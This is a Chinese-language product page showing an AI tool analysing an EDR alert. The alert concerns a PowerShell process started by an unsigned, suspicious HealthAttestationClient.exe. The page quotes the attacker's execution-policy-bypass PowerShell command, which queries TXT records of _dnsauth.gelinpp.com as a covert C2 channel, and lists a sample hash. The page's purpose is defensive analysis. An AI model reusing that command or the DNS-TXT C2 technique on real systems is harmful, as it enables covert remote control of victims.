EDR 行為告警鏈還原分析

你是值班 SOC 分析師，手裡唯一的輸入是一條 EDR 告警 JSON。照本文做完，你會在一輪對話裡拿到：五級程序呼叫鏈、父程序四項檔案異常、解碼後的 PowerShell 命令、DNS-over-TXT 隱蔽通道定性，以及一份可逐條抄進工單的處置建議。

輸入：1 條 EDR 告警 JSON（magic: antiyedr · ver V3.0）· 對象：PowerShell 程序行為告警（type: process_behavior）· 模型：瀾砥 N2.5· 交付物：威脅分析報告（8 節）· 互動：單輪指令 · 全程不離開對話

檢視會話內容

下載會話存檔可匯入 AVL Code 工作區重播完整對話

會話回放與報告為簡體中文原始記錄 · 生成依據：AVL Code + 瀾砥大模型

概覽

01
貼入告警 — 五級呼叫鏈還原，可疑點收窄到父程序

你把告警 JSON 原樣貼進去；AVL Code 給出告警概要（wop0060008 / level 3 / automatic_release）、五級程序鏈與時間線，父程序 HealthAttestationClient.exe 浮出水面。
02
解碼定性 — 父程序四項異常 + DNS-over-TXT，五條建議進工單

你看到父程序與子程序的檔案屬性對照、完整解碼的 PowerShell 命令；隱蔽通道定性成立，判定與處置建議可直接翻譯成工單語言。

向 AVL Code 發布任務

請基於以下json數據，給我分析一下這個行為是否存在威脅：
{ … 完整告警 JSON（約 200 行，含 alarm_info / dispose_info_list / process_info_parent / process_info_self / time / type / uuid 等）… }

告警解析

不用先讀懂欄位，也不用在 EDR 主控台和威脅情報站之間橫跳——JSON 原樣就是最好的輸入：

你輸入 → AVL Code

請基於以下json數據，給我分析一下這個行為是否存在威脅：
{
  "alarm_info": { "behavior_alarm": {
      "label": "執行.利用命令和腳本解釋器.利用PowerShell-T1059.001",
      "level": 3, "rule_id": "wop0060008", … } },
  "dispose_info_list": [
    { "dispose": "automatic_release", "type": "event", … }, … ],
  "process_info_parent": { "pid": 13892,
    "path": "C:\Windows\System32\HealthAttestationClient\HealthAttestationClient.exe", … },
  "process_info_self": { "pid": 6944,
    "path": "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe", … },
  "time": 1779267345, "type": "process_behavior" …
}

AVL Code 執行 → 你會看到

解析告警概要：規則 wop0060008（利用 PowerShell-T1059.001）· 嚴重等級 3（中高危）· 處置 automatic_release（自動放過）
→ 還原五級行為鏈：winlogon → userinit → explorer → HealthAttestationClient（父程序）→ powershell（告警程序）
→ 時間線核查：告警觸發幾乎與 PowerShell 啟動同時
→ 轉入父程序分析：HealthAttestationClient.exe（System32 子目錄）

命令解碼與定性

報告把你貼進去的兩個檔案並排放在一起，結論自己浮出來：

你輸入的 JSON 關鍵欄位 → AVL Code

// process_info_parent.file_info.basic_info
"path": "C:\Windows\System32\HealthAttestationClient\HealthAttestationClient.exe"
"certificate_info": []
"is_system_file": 0
"compile_time": 1770806663, "compiler_pack": "Compiler/Microsoft.VISUAL_C@18"
"detect_info": { "state": "unknown", … }

// process_info_self（powershell.exe）
"detect_info": { "state": "white", … }, "is_system_file": 1
"param": "powershell.exe -NoProfile -ExecutionPolicy ByPass -Command \"chcp 65001; $domain=_dnsauth.gelinpp.com; $DnsServers='1.1.1.1' …\""

AVL Code 執行 → 你會看到

父程序四項異常：無數位簽章 · 非系統檔案卻位於 System32 子目錄 · 檢測狀態 unknown · 編譯時間異常（2026-02，MSVC 18）
→ 子程序 powershell.exe：白檔案 · 系統檔案
→ 命令解碼：chcp 65001 → ipconfig /flushdns → Resolve-DnsName 查詢 _dnsauth.gelinpp.com 的 TXT 記錄
→ 定性：DNS-over-TXT 隱蔽通道——C2 指令/Payload 可編碼在 TXT 記錄中，繞過黑名單與流量檢測；_dnsauth 前綴偽裝成 DNS 認證用途

親自檢測

下載會話匯入工作區回放完整過程，或把你的 EDR 告警 JSON 原樣貼給 AVL Code：

檢視會話內容

下載會話存檔可匯入 AVL Code 工作區重播完整對話

› 請基於以下json數據，給我分析一下這個行為是否存在威脅：

{ 貼上你的 EDR 告警 JSON }

告警 JSON 含主機資訊時注意脫敏；結論是模型基於單條 JSON 的研判，落地前建議按處置建議提取樣本（SHA256: E566B1C4FE1596708B900A887631C0775AF06B39BD168FC96140909AB5919A07）複核，並與 EDR 處置流程結合使用。

下一個問題： 樣本到手後，如何對 HealthAttestationClient.exe 做靜態逆向，確認它是否真的承載 C2 邏輯？

概覽

貼入告警 — 五級呼叫鏈還原，可疑點收窄到父程序

解碼定性 — 父程序四項異常 + DNS-over-TXT，五條建議進工單

告警解析

命令解碼與定性

親自檢測